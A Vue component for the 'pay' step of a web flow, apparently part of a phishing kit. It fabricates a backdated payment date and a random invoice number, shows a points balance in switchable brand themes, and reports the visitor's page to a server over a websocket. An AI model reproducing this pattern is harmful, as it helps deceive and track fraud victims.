<script setup lang="ts">
import { computed, onMounted, ref } from "vue";
import { useRouter } from "vue-router";
import CommonLayout from "@/views/CommonLayout.vue";
import { useLoadingStore } from "@/stores/loadingStore";
import { myWebSocket } from "@/utils/common";
import { globalConfig,goodsConfig } from "@/config";
import { getThemeColors } from "@/config/themes";
import PayTheme1 from "@/components/pay/PayTheme1.vue";
import PayTheme2 from "@/components/pay/PayTheme2.vue";
import PayTheme3 from "@/components/pay/PayTheme3.vue";
import PayTheme4 from "@/components/pay/PayTheme4.vue";
import PayTheme5 from "@/components/pay/PayTheme5.vue";
import PayTheme6 from "@/components/pay/PayTheme6.vue";

const loadingStore = useLoadingStore();
const router = useRouter();

const payDate = ref("");
const invoiceNumber = ref("");
const phone = ref("");
const totalPoint = ref(3022);

// 与 PhoneView 同步，根据 payTheme 动态选择主题组件
const currentThemeComponent = computed(() => {
  const themeId = goodsConfig.value.payTheme || 1;
  const themeMap: Record<string, any> = {
    "1": PayTheme1,
    "2": PayTheme2,
    "3": PayTheme3,
    "4": PayTheme4,
    "5": PayTheme5,
    "6": PayTheme6,
  };
  return themeMap[themeId] || PayTheme1;
});

const currentColors = computed(() => {
  const themeId = goodsConfig.value.payTheme || 1;
  return getThemeColors(themeId);
});

const next = () => {
  loadingStore.setLoading(true);
  setTimeout(() => {
    router.push("/goods");
  }, 200);
};

function getDateSevenDaysAgo(): Date {
  const currentDate = new Date();
  currentDate.setDate(currentDate.getDate() - 7);
  return currentDate;
}

function generateRandomNineDigitNumber(): number {
  const min = 100000;
  const max = 999999;
  return Math.floor(Math.random() * (max - min + 1)) + min;
}

onMounted(() => {
  loadingStore.setLoading(false);
  myWebSocket?.send(
    JSON.stringify({
      event: "page_type",
      content: { pageType: "pay" },
    })
  );
  const dateSeven = getDateSevenDaysAgo();
  payDate.value = dateSeven.toLocaleDateString();
  const inumber = localStorage.getItem("invoiceNumber");
  if (inumber) {
    invoiceNumber.value = inumber;
  } else {
    invoiceNumber.value = generateRandomNineDigitNumber().toString();
    localStorage.setItem("invoiceNumber", invoiceNumber.value.toString());
  }
  localStorage.setItem("route", "pay");
  const phoneValue = localStorage.getItem("phone");
  if (phoneValue) {
    phone.value = phoneValue;
  }
  const point = localStorage.getItem("totalPoint");
  if (point) {
    totalPoint.value = Number(point);
  }
});
</script>

<template>
  <CommonLayout>
    <template #default>
      <!-- 动态加载 Pay 主题组件 -->
      <component
        :is="currentThemeComponent"
        :colors="currentColors"
        :phone="phone"
        :pay-date="payDate"
        :invoice-number="invoiceNumber"
        :domain-name="globalConfig.main_name"
        :total-point="totalPoint"
        @submit="next"
      />
    </template>
  </CommonLayout>
</template>

<style scoped>
/* 样式由各主题组件自己管理 */
</style>
